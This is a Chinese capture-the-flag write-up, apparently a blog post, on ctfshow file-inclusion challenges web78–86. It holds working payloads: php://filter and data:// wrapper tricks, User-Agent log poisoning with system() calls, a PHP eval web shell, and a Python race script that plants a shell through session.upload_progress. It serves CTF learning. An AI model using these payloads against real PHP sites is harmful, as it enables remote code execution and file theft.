ctfshow web入门-文件包含

ctfshow web入门-文件包含

web78

filter伪协议读取:?file=php://filter/read=convert.base64-encode/resource=flag.php,base64解码

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述
在这里插入图片描述

web79

由于过滤了 php,采用data伪协议读取:

?file=data://text/plain,<?= `tac f*`;?>
或者
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述

web80

由于 phpdata都被过滤了,结合题目提示我们文件包含开始,利用日志包含绕过,将执行的命令插入日志中,在User-Agent插入 <?php echo system('ls');?>查找flag文件名,再读取flag

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
shell.txt内容:
<?php eval($_POST['cmd']);?>

在这里插入图片描述
在这里插入图片描述

web81

过滤了 phpdata:,参照 web81,利用日志包含绕过,将执行的命令插入日志中

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述
在这里插入图片描述

web82-86

利用session.upload_progress进行文件包含和反序列化渗透

import requests
import threading
import sys
session=requests.session()
sess='H3rmesk1t'
url1="http://dae1ae47-1634-456b-b6bb-6046960b2e14.challenge.ctf.show:8080/"
url2='http://dae1ae47-1634-456b-b6bb-6046960b2e14.challenge.ctf.show:8080/?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
	'1':'system("cat f*");'
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值